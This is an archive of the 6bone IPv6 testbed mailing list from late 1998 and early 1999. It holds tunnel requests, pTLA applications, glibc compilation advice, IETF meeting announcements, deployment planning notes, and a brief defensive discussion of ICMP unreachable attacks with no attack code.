> dropped off the planet (NWNET), in any case I haven't heard
> anything from them in a while.  My next plan was to ask here to
> see if there is someone else with more time to set up a new
> connection.
> 
> Our previous connection was back with the previous address
> prefix, so we'd need to renumber anyway.
> 
> I intend to provide transit to some other entities in Alaska who
> aren't connected to the University (which is to say most of
> them) and who want v6 connectivity.
> 
> Are there any more news/rumors from Cisco?
> 
> We're connected (once removed) to UUnet, AGIS, Sprint and IXC in 
> Seattle.  Well, the Sprint is through AT&T Alascom, so there is
> an extra entity there.
> 
> Thanks!
> 
> _______________________________________________________________________
> |Aaron Dewell			===>		dewell@woods.net      |
> |aka		local guru	===>		dewell@greatland.net  |
> |http://www.woods.net/~dewell			http://www.woods.net/ |
> |PGP keyid 0x0D12A6B9 available from http://keys.pgp.com/	      |
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 6bone-owner  Sat Dec 19 02:06:45 1998
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Date: Sat, 19 Dec 1998 10:06:37 +0000 (GMT)
From: Steve Hill <firefury@sucs.swan.ac.uk>
To: 6bone@ISI.EDU
Subject: glibc
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What version of glibc should I be using for IPv6 on linux?  I downloaded
v2.0.95, but I can't get the thing to compile (the assembler keels over
with "if not a 386 instruction" or something similar).

 - Steve


From 6bone-owner  Sat Dec 19 02:14:17 1998
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I have a cable modem.... and would like to connect to the 6bone...
unfortunately every few months my IP address will change.... this would
probably not be possible? if it is please let me know =]


From 6bone-owner  Sat Dec 19 08:00:33 1998
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Date: Sat, 19 Dec 1998 17:57:43 +0200 (EET)
From: Hossam El-Ashkar <hoashkar@idsc1.gov.eg>
To: 6Bone <6bone@ISI.EDU>
Subject: Back
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Hello everybody,
	I have been away from this mailing list for about 3 months. I have
noticed that it is now far less active than it was. Is the interest in
IPv6 dying or what?
	I am now responsible for making an ipv6 node here in Egypt, and i
need a tunnel to the 6bone. I had a tunnel with 3com before, but it seems
that they have stopped their ipv6 activities. Can anyone provide me with a
tunnel.
	I need a breifing on the 6bone state now, where can i find that??
Does the web site has anything that can help?
Thanx!!

--------------------------------------------------------------
Hossam El-Ashkar
IDSC/RITSEC - Communication Dept.
hoashkar@idsc1.gov.eg


From 6bone-owner  Sat Dec 19 11:09:09 1998
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To: Hossam El-Ashkar <hoashkar@idsc1.gov.eg>, 6Bone <6bone@ISI.EDU>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: Back
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Hossam,

At 05:57 PM 12/19/98 +0200, Hossam El-Ashkar wrote:
>Hello everybody,
>	I have been away from this mailing list for about 3 months. I have
>noticed that it is now far less active than it was. Is the interest in
>IPv6 dying or what?

Not at all. If anything the pace is picking up, for IPv6. On the other
hand, the 6bone isn't all that active as it is mostly a testbed network,
not a production network, so many feel they are up and running on current
versions of IPv6 that aren't yet in production.

This is the reason that I've initiated the 6ren initiative, which I will
soon announce on this list. You can look at <http://6ren.net> for some
first very high level info about, but most info is in progress as we speak.
The good news is that the enthusiam for getting into production is high,
which will help us make Internet (IPv4) applications work over IPv6 and get
vendors to move their beta code into production versions.


>	I am now responsible for making an ipv6 node here in Egypt, and i
>need a tunnel to the 6bone. I had a tunnel with 3com before, but it seems
>that they have stopped their ipv6 activities. Can anyone provide me with a
>tunnel.

You need to do some traceroutes to get a first cut idea of where your IPv4
paths might take you regarding various pTLA sites, i.e., it is best if you
can avoid tunneling all around the world when another path would be much
shorter and more reliable. Once you settle on a candidate pTLA, then use
their registry data to contact them to see if they will host you.


>	I need a breifing on the 6bone state now, where can i find that??
>Does the web site has anything that can help?

Well, the 6bone web site does tell you how to join, and points to the
Lancaster site to see size, topology, etc.

At the moment we are 39 countries, 320 sites and 51 backbone pTLAs.

If you are looking for something specific, please let me know.


Thanks,

Bob



From 6bone-owner  Mon Dec 21 00:46:39 1998
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Date: Mon, 21 Dec 1998 09:42:14 +0100 (MET)
From: "Paolo D'Urso" <Paolo.DUrso@CSELT.IT>
Subject: Re: glibc
In-reply-to: <Pine.LNX.3.96.981219100459.12982A-100000@sucs.swan.ac.uk>
To: Steve Hill <firefury@sucs.swan.ac.uk>
Cc: 6bone@ISI.EDU
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On Sat, 19 Dec 1998, Steve Hill wrote:
> What version of glibc should I be using for IPv6 on linux?  I downloaded
> v2.0.95, but I can't get the thing to compile (the assembler keels over
> with "if not a 386 instruction" or something similar).

You need glibc-2.1 but it is still beta.

Greetengs
						Paolo

-----------------------------------------------------------------------
Paolo D'Urso   

e-mail		:  Paolo.DUrso@CSELT.IT
voice (work)	:  +39 11 228 7745
voice (home)	:  +39 11 3853647
address	(home)	:  via Sarioletto 3, I-25036 Palazzolo sull'Oglio (BS)
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From 6bone-owner  Mon Dec 21 05:42:22 1998
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Date: Mon, 21 Dec 1998 14:41:56 +0100 (CET)
From: Jochen Friedrich <jochen@scram.de>
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To: "Paolo D'Urso" <Paolo.DUrso@CSELT.IT>
cc: Steve Hill <firefury@sucs.swan.ac.uk>, 6bone@ISI.EDU
Subject: Re: glibc
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Hi Paolo,

On Mon, 21 Dec 1998, Paolo D'Urso wrote:

> On Sat, 19 Dec 1998, Steve Hill wrote:
> > What version of glibc should I be using for IPv6 on linux?  I downloaded
> > v2.0.95, but I can't get the thing to compile (the assembler keels over
> > with "if not a 386 instruction" or something similar).
> 
> You need glibc-2.1 but it is still beta.

v2.0.95 == glibc-2.1

I'm currenlty using 2.0.99. Please check the README file very carefully.
You really have to use the versions of make, binutils and gcc mentioned,
or the compile will fail in one or the other way.

Cheers,
Jochen


From 6bone-owner  Mon Dec 21 05:49:33 1998
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To: "Paolo D'Urso" <Paolo.DUrso@CSELT.IT>
Cc: Steve Hill <firefury@sucs.swan.ac.uk>, 6bone@ISI.EDU
Subject: Re: glibc
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On Mon, Dec 21, 1998 at 09:42:14AM +0100, Paolo D'Urso wrote:
> On Sat, 19 Dec 1998, Steve Hill wrote:
> > What version of glibc should I be using for IPv6 on linux?  I downloaded
> > v2.0.95, but I can't get the thing to compile (the assembler keels over
> > with "if not a 386 instruction" or something similar).
> You need glibc-2.1 but it is still beta.

Not necessarily. It works with various 2.0.7 glibcs (e.g. plain RedHat 5.x)
with minor corrections. You only have to link with inet6-apps library.

R.

From 6bone-owner  Mon Dec 21 17:23:02 1998
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In-Reply-To: Your message of "Mon, 21 Dec 1998 14:41:56 +0100 (CET)"
	<Pine.BSD.3.96.981221143938.21866B-100000@neptun.nwe.de>
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Date: Tue, 22 Dec 1998 10:22:32 +0900 (JST)
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>v2.0.95 == glibc-2.1
>
>I'm currenlty using 2.0.99. Please check the README file very carefully.
>You really have to use the versions of make, binutils and gcc mentioned,
>or the compile will fail in one or the other way.

Yes glibc 2.1 is frequently updated, the latest version is
glibc-2.0.108.  I've commited patch to IPv6 related header recently.
It'll need more test about IPv6...

I think at this moment using inet6-apps-0.XX is easier than glibc-2.1.
But in the long run inet6-apps function should be supported by
glibc-2.1.

If you are interested in glibc-2.1.  Please visit

ftp://alpha.gnu.org/gnu/
--
Kunihiro Ishiguro

From 6bone-owner  Wed Dec 23 07:55:40 1998
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Date: Wed, 23 Dec 1998 16:54:26 +0100
To: ipng@sunroof.Eng.Sun.COM, ngtrans@sunroof.Eng.Sun.COM, 6bone@ISI.EDU
From: Alain Durand <Alain.Durand@imag.fr>
Subject: Interim meeting Web server
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Hi,

I've set up a web server to gather information about the interim meeting
in Grenoble

http://www.ipv6.imag.fr/ietf1999.html

This server is dual stack IPv4 & IPv6, so onecan browse it
from the 6bone.

It will be updated periodicaly.

	- Alain.


From 6bone-owner  Wed Dec 23 10:41:31 1998
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: death@hawaii.rr.com
cc: 6bone <6bone@ISI.EDU>
Subject: Re: Cable Modem 
In-reply-to: Your message of Sat, 19 Dec 1998 00:15:04 -1000.
             <367B7CA7.B9A8B415@hawaii.rr.com> 
Date: Wed, 23 Dec 1998 19:41:22 +0100
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 In your previous mail you wrote:

   I have a cable modem.... and would like to connect to the 6bone...
   unfortunately every few months my IP address will change.... this would
   probably not be possible? if it is please let me know =]
   
=> it is possible but I believe you are a good candidate for
Alain Durand's last proposal: a user-friendly/fast way to setup
configured tunnels...

Francis.Dupont@inria.fr

From 6bone-owner  Sun Dec 27 08:09:00 1998
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Date: Sun, 27 Dec 1998 08:08:44 -0800
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: pTLA request from IPF.NET
Cc: Jan Czmok <czmok@ipf.de>
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6bone folk,

The IPF.NET folk in Germany have requested pTLA status (see below). I would
like to have comments pro and con on this, to me or the mailer.

I will close the discussion for a final decision on 11 Jan 98.


Thanks,

Bob


At 04:03 AM 12/25/98 +0100, Jan Czmok wrote:
>
>Dear Bob.
>
>I am Senior Network Engineer for IPF.NET (which is one of the 5 BIG
>Providers in Germany)
>and head of the IPv6 project at IPF.NET. We would like to apply for a
>pTLA assignment.
>
>IPF.NET currently hosts over 30.000 private Users and about 5000
>commercial Customers in Germany.
>We have also connected research companies and institutions.
>
>We have been working with IPv6 in the last year (1998) with the goal of
>providing a ipv6 testbed
>and later on (as soon as possible stable implementations of ios and
>software exist) offer production
>ipv6 (for leased lines and also dial-up "mobile ip" using ipv6)
>
>1. must have experience with ipv6 in the 6bone, at least as a leaf
>site, and preferably as an NLA transit under a pTLA.
>
>We are operating a 6bone Testbed at IPF.NET and have established tunnels
>with various sites
>including REGIO-DE/DE (Leaf)  and JOIN/DE (ptla) and running bgp4+
>routing peer with both
>and have some more private "test" tunnels to various systems within our
>network.
>
>We currently have a network under JOIN/DE (whois query output) :
>
>ipv6-site:     IPF
>origin:        AS5409
>descr:         IPF.NET Service Provider GmbH
>country:       DE
>prefix:        3FFE:400:1D0::/48
>application:   ping cisco.ipv6.ipf.net
>tunnel:        IPv6 in IPv4 cisco.ipv6.ipf.net -> 6bone.uni-muenster.de
>JOIN BGP4+
>tunnel:        IPv6 in IPv4 cisco.ipv6.ipf.net -> 6bone.regio.net
>REGIO-DE BGP4+
>contact:       JC2-6BONE
>remarks:       Willing to add tunnels (BGP4+ preferred)
>remarks:       connected to DFN/Ten-34, Own International Network,
>Uplink
>remarks:       through AT&T UNISOURCE
>remarks:       peering at MAE-FFM and DE-CIX, INXS and LINX
>remarks:       DNS/bind-8 will be operational soon.
>notify:        czmok@ipf.de
>changed:       czmok@ipf.net 19981223
>source:        6BONE
>
>person:        Jan Czmok
>address:       IPF.NET GmbH
>address:       Mainzer Landstrasse 46
>address:       D-60325 Frankfurt
>address:       Germany
>phone:         +49 69 17084 0
>fax-no:        +49 69 17084 26
>e-mail:        czmok@ipf.net
>nic-hdl:       JC2-6BONE
>remarks:       see also JC226-RIPE
>notify:        routing@ipf.net
>changed:       czmok@ipf.net 19980615
>source:        6BONE
>
>2. must have the ability and intent to provide "production-like" 6bone
>backbone service to provide a robust and operationally reliable 6bone
>backbone.
>
>We are directly present at MAE-WEST / MAE-EAST, PAIX,
>MAE-F, DECIX, INXS and LINX now .
>
>AMS-IX, SPRINTNAP and BNIX will be added during next year.
>
>Backup - Uplink is provided by AT&T UNISOURCE and UUnet.
>
>3. must have a potential "user community" that would be served by
>becoming a pTLA, e.g., the requester is a major player in a region,
>country or focus of interest.
>
>We are currently in the top-5 of the germany providers servicing
>more than 30.000 users.
>
>4. must commit to abide by whatever the 6bone backbone operational
>rules and policies are (currently there are no formal ones, but the
>alain duran draft is a start in trying to define some).
>
>we hereby state that will abide to the 6bone operational rules and
>policies.
>
>
>
>Greetings and merry, merry Christmas (hope you got many christmas gifts)
>
>Jan Czmok
>Senior Network Engineer
>IPF.NET
>


From 6bone-owner  Sun Dec 27 15:12:01 1998
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Date: Sun, 27 Dec 1998 15:11:54 -0800
To: horke@regio.net
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: pTLA request from IPF.NET
Cc: 6bone@ISI.EDU, czmok@ipf.de
In-Reply-To: <m0zuNcV-002pLVC@rhoen.regio.net>
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Bernhard,

At 10:21 PM 12/27/98 +0100, Bernhard Kroenung wrote:
>> The IPF.NET folk in Germany have requested pTLA status (see below). I would
>> like to have comments pro and con on this, to me or the mailer.
>> 
>> I will close the discussion for a final decision on 11 Jan 98.
>
>As I remeber - RIPE will delegate IPv6 Address-Space starting '99 ... and
>you shurely mean 11-Jan-99 - don't you ? So why is there a need of this ?

Though the address registries will hopefully start to assign production
IPv6 addresses by the end of 1Q 99 (end March 99?), there is still a need
for sites and networks to experiment with IPv6. In fact, at this very early
stage of IPv6 production deployment, I think it important that ISPs get
experience with IPv6 in a pTLA or transit NLA 6bone environment prior to
making a TLA/Sub-TLA request to the registries.


Thanks for catching my error, I did mean 11 Jan 99 to close the IPF.NET
pTLA request period.


Regards,

Bob

From 6bone-owner  Tue Dec 29 10:05:12 1998
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Date: Tue, 29 Dec 1998 04:17:50 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Bob Fink <rlfink@lbl.gov>
cc: horke@regio.net, 6bone@ISI.EDU, czmok@ipf.de
Subject: Re: pTLA request from IPF.NET
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On Sun, 27 Dec 1998, Bob Fink wrote:

> Though the address registries will hopefully start to assign production
> IPv6 addresses by the end of 1Q 99 (end March 99?), there is still a need
> for sites and networks to experiment with IPv6. In fact, at this very early
> stage of IPv6 production deployment, I think it important that ISPs get
> experience with IPv6 in a pTLA or transit NLA 6bone environment prior to
> making a TLA/Sub-TLA request to the registries.

Unfortunately some upstream providers wont or can't do this.  After two
months of no response, our normally accomodating upstream provider ANS,
finally told us today they don't support ipv6 and declined our request for
an experimental tunnel and address space.  Anybody out there willing to
provide us some address space and a tunnel?

Antonio Querubin
tony@lava.net / ah6bw@hawaii.ampr.org


From 6bone-owner  Tue Dec 29 17:24:54 1998
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Date: Tue, 29 Dec 1998 17:24:04 -0800
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Fwd: Request for pTLA
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6bone folk,

The regio.net (regio-de on the 6bone) folk in Germany have requested pTLA
status (see below). I would 
like to have comments pro and con on this, to me or the mailer.

I will close the discussion for a final decision on 12 Jan 98.

Thanks,
Bob


===
>From: horke@mail.regio.net (Bernhard Kroenung)
>Subject: Request for pTLA
>To: rlfink@cnrmail.lbl.gov
>Date: Tue, 29 Dec 1998 20:34:38 +0100 (MET)
>
>Dear Bob
>
>I am CEO of regio[.NET] GmbH - and resposible of the ipv6 project and our
>connection to the 6bone. We've been working on IPv6 since the beginning of 
>1998 and provide uplink for two other leaf-sites in germany. We also
>participate in the RIPE-WG and and I attendet RIPE-Sessions on RIPE-30 and
>RIPE-31.
>
>We are also planning a project with the Fachhochschule Fulda - an academic
>site starting to work on IPv6 - with two Professors already publishing some
>interesting books on IPv6/IPnG.
>
>Our Backbone includes connections on DE-CIX and MAE-Frankfurt with uplinks
>to teleglobe and DFN/Ten-155 - we currently run nearly 20 PoP around 
>Germany (mainly in the central part).
>
>Our goal will to establish a broader IPv6-Backbone while providing a testbed
>for a couple of customers developing software and/or hardware where it will
>be essential that they a capable of IPv6 in the Future.
>
>
>   1. must have experience with ipv6 in the 6bone, at least as a leaf
>      site, and preferably as an NLA transit under a pTLA.
>
>A you can see in our 6bone-db (regio-de) we provide uplink for IPF and
>SPACENET while connecting to a couple of other pTLA-sites. There are
>requests from others providers peering with us to participate on 6bone
>while connecting through us as an uplink.
>
>We run IPv6-capable DNS and use IPv6 on different platforms (mainly CISCO
>on backbone)
>At the moment we use a part of the JOIN pTLA-space - and have also been
>delegated a space-delegation by SPRINT.
>
>   2. must have the ability and intent to provide "production-like" 6bone
>      backbone service to provide a robust and operationally reliable 6bone
>      backbone.
>
>At the moment we are installing additional routers at selected sites to
>implent a ipv6-backbone in neighborhood of our IPv4-Backbone to extend
>out IPv6-service to selected customers and also to other providers peering
>with us to test there IPv6-infrastructure.
>
>   3. must have a potential "user community" that would be served by
>      becoming a pTLA, e.g., the requester is a major player in a region,
>      country or focus of interest.
>
>We currently are a "major player" in the central region of germany and 
>consider ourselves as one of the larger smaller ISPs in germany. We currently
>run 20 PoPs and growing ...
>
>   4. must commit to abide by whatever the 6bone backbone operational
>      rules and policies are (currently there are no formal ones, but the
>      alain duran draft is a start in trying to define some).
>
>we hereby state that will abide to the 6bone operational rules and
>policies.
>
>
>We look forward to your response.
>
> Ciao
>   Bernhard
>-- 
>Bernhard Kroenung, Bahnhofstr 8, 36157 Ebersburg/Rhoen, Germany +49 6656
910101
>@work : bernhard@kroenung.de                              Work: +49 661
9011777
>@home : horke@Rhoen.De       @school :
Bernhard.Kroenung@Informatik.FH-Fulda.De


From 6bone-owner  Mon Jan  4 02:46:18 1999
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Date: Mon, 04 Jan 1999 00:46:57 -1000
From: Sam Bingner <death@hawaii.rr.com>
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Subject: anybody home?
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Havn't seen ANY messages on here lately.... just wondering if everybody
died or if I'm just not getting the messages for some reason =]

From 6bone-owner  Mon Jan  4 14:13:13 1999
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Date: Mon, 04 Jan 1999 14:13:04 -0800
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: REDIRIS now 6bone pTLA 3FFE:3300::/24
Cc: Bill Manning <bmanning@ISI.EDU>
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REDIRIS has been assigned pTLA 3FFE:3300::/24.

	<http://www.isi.edu/cgi-bin/davidk/whois.pl?rediris>


Thanks,

Bob

From 6bone-owner  Mon Jan  4 14:17:46 1999
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> 
> REDIRIS has been assigned pTLA 3FFE:3300::/24.
> 
> 	<http://www.isi.edu/cgi-bin/davidk/whois.pl?rediris>
> 
> 
> Thanks,
> 
> Bob

Great!  

--bill

From 6bone-owner  Thu Jan  7 07:52:28 1999
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Date: Thu, 07 Jan 1999 10:48:29 -0500
To: bound@wasted.zk3.dec.com
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: (ngtrans) ACTION: IETF 44 March Meeting 6bone connect in
  the terminal room
Cc: ngtrans@sunroof.Eng.Sun.COM, ipng@sunroof.Eng.Sun.COM, 6bone@ISI.EDU,
        scoya@cnri.reston.va.us, iab@ISI.EDU,
        v6-deployment-cabal@alpha.zk3.dec.com, matt@ascend.com,
        6pop@viagenie.qc.ca
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At 09:59 99-01-07 -0500, Jim Bound wrote:
>IPv6 Folks,

Jim,
	since we provided the ipv6 connectivity to the ietf terminal room since
the last 2 ietfs, I will take care of this offline with Matt. We have some
stats on the use of v6 at the next ietf.

>I don't think all IETF meeting terminal rooms should have access to
>the IPv6 6bone and new IPv6 backbone networks we may see by March 99.

	I surely think that we must provide ipv6 connectivity to all ietf terminal
rooms. I'm really surprised to see this comment from you.  I think the
first place where ipv6 should be demonstrated fully is at the ietf. 
	I would like to challenge people that for the next ietf, we will be able
to do all our work during ietf in ipv6-only: i.e. email,web,ftp,... (yes,
our company will put soon our production mail server on v6 with pop,
sendmail,..., we already have the normos site on v6 (try it with a AAAA
record http://www.normos.org) so all rfcs,internet-drafts,... are
accessible on v6),...
	We also arranged to mirror the 6bone web site on v6 (try:
http://www.6bone.net with a AAAA record).

	At least, the guys from our company will use v6-only during the next ietf.
Any other takers?

At 09:59 99-01-07 -0500, Jim Bound wrote:
>IPv6 Folks,
>
>It has come to my attention that Matt Holderidge from Ascend has relayed
>to one of my folks that IPv6 for the 6bone in the IETF 44 Meeting
>Terminal room is not getting requested.
>
>Can you all please begin to send mail to Matt (matt@ascend.com) that we
>want IPv6 in the terminal room at Minneapolis.
>
>I don't think all IETF meeting terminal rooms should have access to
>the IPv6 6bone and new IPv6 backbone networks we may see by March 99.
>
>Please let Matt hear from you.  Compaq is reviewing now if we can
>support IPv6 capable UNIX servers in the terminal room now to support 
>IPv6 and why I heard this news.

At the last ietf, Compaq already supported the unix servers in v6. Mary did
that.

>
>thanks
>/jim

Regards, Marc.



-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
Internet Engineering Standards/Normes d'ingénierie Internet
               http://www.normos.org
------------------------------------------------------------


From 6bone-owner  Thu Jan  7 10:20:33 1999
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Date: Thu, 07 Jan 1999 19:19:19 +0100
To: 6bone@ISI.EDU, ipng@sunroof.Eng.Sun.COM, ngtrans@sunroof.Eng.Sun.COM
From: Alain Durand <Alain.Durand@imag.fr>
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Hi alll.

The agenda is now online on http://www.ipv6.imag.fr/ietf1999.html.

Also, I'm pleased to announce that we will have a social event
on tuesday evening. Places are limited to 50 only... sorry about that,
so they'll go to the first 50 who will register. Be quick!

More on this social event on the web server.
To register to the social, send e-mail to ietf@imag.fr

	- Alain.


From 6bone-owner  Sat Jan  9 15:17:53 1999
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Date: Sat, 9 Jan 1999 15:17:47 -0800 (PST)
From: Siu Ming Lo <slo@falcon.csc.calpoly.edu>
To: 6bone@ISI.EDU
cc: MSRIPV6-USERS@LIST.RESEARCH.MICROSOFT.COM
Subject: Problem on re-compile ncftp
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Hi Folks,

I try to re-compile the ncftp, the ipv4/ipv6 FTP client come with the
package downloaded from Microsoft research web site. In the readme.txt, it
said i need to have all msripv6, ncftp and pdcurses directory under the
same directory tree, and I did it. Then i type "nmake" in ncftp directory
to perform the build under dos prompt enviroment, and it basically said no
such command. Also i don't see there is a nmake application inside the
ncftp directory. Did anyone of you re-compile ncftp before? How am i able
to do it? Please help.

Siu



From 6bone-owner  Mon Jan 11 06:18:58 1999
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Date: Mon, 11 Jan 1999 09:18:50 -0500
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Folks,

If you want to get involved with this list
you can join by sending mail to majrodomo@alpha.zk3.dec.com by
subscribing to v6-deployment-cabal list.

This should not replace the purpose of the v6imp list.

/jim

----------------------
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Folks,

Here is my recollection of the high-points of the gathering.
Please send me bullets and additions OK.

Critical reqs for IPv6 deployment:

  Vendors must deploy IPv6 in base products:

     Required First Stage deployment needs:

       1) IPv6 stack supporting core specs
       2) Transition Mechanisms (1933-update) and V6overV4 Tunnels
       3) RIPng and BGP4+ (for forwarding)
       4) AAAA Records for now
       5) WEB Server and Browser
       6) Basic API
       7) Basic Network Utilities (ping, ifconfig, netstact, tcpdump)
       8) FTP and TELNET
       9) Email via Sendmail
       
   We need to discuss this list more in depth on the mail list and 
   sub-bullet requirements.

   We need to define additional stages of deployment and transition
   scenarios.

   What time-frames can Host and Routers vendors commit to now?

  Need to discuss the business reasons for IPv6 and killer apps that
  will benefit.

  What key features do ISPs need?

  What key features do commercial end users need?

  What key features do highly-technical end users need?  

  What applicatons are critical path to be ported supported by
     VENDORS?
     ISVs?
     FREE-WARE APPS?

  We need to set up an intense technical grass roots movement?

    Perry Metzger suggested this and will try to set up mail 
    lists and coordinate IPv6 servers within the technical 
    community.  We will have another mail list called v6-lovers
    which will be for the entire world to discuss the needs 
    of IPv6 for deployment.

    This will be our first priority and this list will feed
    future requirements and bugs, etc...

    Comment was we need real customers on this list too.

  We need to coordinate efforts in the IPv6 community to 
  get IPv6 deployed by sharing information across the 
  board.

  We will need "how to" for transition mechanisms.

/jim

From 6bone-owner  Thu Jan 14 16:25:25 1999
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Hello

We work in Universidad Nacional Autonoma de Mexico (UNAM),the largest 
University in Mexico. We are seeking for tunnel to 6bone. The our main goal 
is to get experience with IPv6. 

Thanks in advance,

Research and Development
Network Operation Departament
DGSCA-UNAM

From 6bone-owner  Thu Jan 14 17:13:54 1999
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  is there an IRC server/channel where I could get interactive help or
  something?  would make life much easier than games of e-mail tag...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Jack Wilkinson <jackw@jounce.net>
President - JounceNET Internet Services
Enter any 11-digit prime number to continue... 



From 6bone-owner  Fri Jan 15 07:43:06 1999
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I work for MetLife in New York. We are seeking for tunnel to 6bone. The our
main goal
is to get experience with IPv6.




From 6bone-owner  Fri Jan 15 11:05:54 1999
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Date: Fri, 15 Jan 1999 23:09:27 +0400
From: Peter Dawson <peterdd@gto.net.om>
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CC: 6bone <6bone@ISI.EDU>, ngtrans <ngtrans@sunroof.eng.sun.com>
Subject: tunnerl broker protocol
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hi
is there any ID for  tunnel broker protocol ? if
not where could I find some more details on this
complementary ngtrans mechanism ...more specifically
how will this work with tunnel endpoints on the dual stack ?
thks
/pete




From 6bone-owner  Fri Jan 15 18:49:09 1999
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To: <ipng@sunroof.eng.sun.edu>, <6bone@ISI.EDU>, <ietf@ietf.org>
From: "Chris R. Evans" <teknopup@earthlink.net>
Date: Fri, 15 Jan 1999 18:48:57 +0800
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Subject: porting Ipv6 for embedded dos systems
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 on the topic porting Ipv6 for embedded dos systems, are there any
 difficulties to doing such a thing? are there any RFCs/infomation sources
 for ipv6 protocol?

 yes, i am wanting to update my pppfossil to v6 support.

-tkp
[<B>http://members.xoom.com/teknopuppy</B>]


--- CP/M&UNIX&FREEBSD&DEBIAN&MS-DOS&PC-DOSI'LLDIDDLEWITHOS/2WOULDN'TYOU?
*** MYREADER v.2.65g.19990113.r68; Made for Net-Tamer.


From 6bone-owner  Mon Jan 18 10:47:22 1999
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To: ipng@sunroof.Eng.Sun.COM, ngtrans@sunroof.Eng.Sun.COM, 6bone@ISI.EDU
From: Alain Durand <Alain.Durand@imag.fr>
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Hi folks

I've scanned some maps of Grenoble and the university campus.
You'll find them on http://www.ipv6.imag.fr/ietf1999.html

Also, there are 10 places left for the social...

	- Alain.


From 6bone-owner  Mon Jan 18 15:29:59 1999
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Can someone answer the following questions regarding testing on the 6Bone ?

What kind of testing can I do ?
      ->   Do you have the instructions two load and configure a dual IPV4
      and IPV6 stack on a
      ->   NT4.0 workstation ?
      ->   Do you have some test plans that other companies follow after
      connecting to the 6bone ?



From 6bone-owner  Tue Jan 19 10:29:52 1999
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From: "=?iso-8859-1?Q?Asbj=F8rn_Sannes?=" <ace@datafax.no>
To: <6bone@ISI.EDU>
Subject: ICMP Unreachable
Date: Tue, 19 Jan 1999 19:34:21 -0000
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It might not be a big problem for most people, but in the IPv4 used today
any person can disconnect almost any connection with little or no knowledge
using ICMP unreachable attacks.

I was woundering if this was fixed in IPv6, or if the "problem" will
persist.

--
ace



From 6bone-owner  Wed Jan 20 06:47:45 1999
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From: "Leonardo R. Cabral" <mcabral@unl.edu.ar>
To: <6bone@ISI.EDU>
Subject: Abbreviations for a Newbie.
Date: Tue, 19 Jan 1999 22:37:46 -0600
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This is a multi-part message in MIME format.

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Hi:
I'm newbie in the IP world and I'm going to work in an internet centre =
soon, here in Argentina, so I wonder if someone could explain me some =
abbreviations, like pTLA and any other you use every day. I also suppose =
that it is better to implement IPV6 on a Unix related environment like =
Linux than in a Windows environment, is this right? In addition, what =
reading can you recommend me?

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

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http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Hi:</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>I'm newbie in the IP world and I'm =
going to work=20
in an internet centre soon, here in Argentina, so I wonder if someone =
could=20
explain me some abbreviations, like pTLA and any other you use every =
day. I also=20
suppose that it is better to implement IPV6 on a Unix related =
environment like=20
Linux than in a Windows environment, is this right? In addition, what =
reading=20
can you recommend me?</FONT></DIV></BODY></HTML>

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From 6bone-owner  Wed Jan 20 08:29:36 1999
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To: =?iso-8859-1?Q?=22Asbj=F8rn_Sannes=22?=  <ace@datafax.no>
From: Steve Deering <deering@cisco.com>
Subject: Re: ICMP Unreachable
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At 11:34 AM -0800 1/19/99, Asbjørn Sannes wrote:
> It might not be a big problem for most people, but in the IPv4 used today
> any person can disconnect almost any connection with little or no knowledge
> using ICMP unreachable attacks.
> 
> I was woundering if this was fixed in IPv6, or if the "problem" will
> persist.

This problem is largely due to shortcomings in TCP implementations
which are independent of IPv4 vs. IPv6.  However, since IPv6 requires
implementors to make at least some minor changes to TCP code (to
deal with bigger addresses and changed pseudo-header), it would be
nice if implementors used the occasion to also fix their TCPs' behavior
in response to ICMP error message (in particular, changing them to
treat most ICMP errors as transient rather than fatal).

Steve



From 6bone-owner  Wed Jan 20 09:23:08 1999
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Subject: Re: ICMP Unreachable
To: deering@cisco.com (Steve Deering)
Date: Wed, 20 Jan 1999 20:21:51 +0300 (MSK)
Cc: ace@datafax.no, 6bone@ISI.EDU
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Hello!

> nice if implementors used the occasion to also fix their TCPs' behavior
> in response to ICMP error message (in particular, changing them to
> treat most ICMP errors as transient rather than fatal).

Even not most, but all ones, if ICMP message arrives when connection is
in established state.

Alexey Kuznetsov

From 6bone-owner  Wed Jan 20 09:26:08 1999
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From: bmanning@ISI.EDU
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Subject: BOUNCE (bob has a new address!)
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I support this request.


> 6bone Folk,
> 
> CHTTL-TW, the ChungHwa Telecom. Co or Taiwan, is applying for a pTLA.
> Please send any comments on this to either me or the list by 8 February 1999.
> 
> 
> Thanks,
> 
> Bob
> 
> ====
> >Date: Wed, 20 Jan 1999 14:10:55 +0800
> >From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
> >To: rlfink@lbl.gov
> >Subject: Apply for pTLA
> >
> >Dear Bob:
> >	I am responsible for IPv6 testbed for ChungHwa Telecom. Co. and wish
> >to become a backbone site on 6Bone.
> >
> >1. must have experience with ipv6 in the 6bone, at least as a leaf
> >site, and preferably as an NLA transit under a pTLA.
> >	
> >	We have become a leaf site  as CHTTL-TW and later become
> >a transit site running BGP4+ with TELEBIT as TLSW-TW. Right now, We are 
> >providing
> >serveral private "test" tunnels to various organizations in Taiwan (which 
> >most of
> >them are research centers such as universities).
> >	Our registry in 6Bone can be accessed by:
> >	http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/TLSW-TW.html
> >
> >2. must have the ability and intent to provide "production-like" 6bone
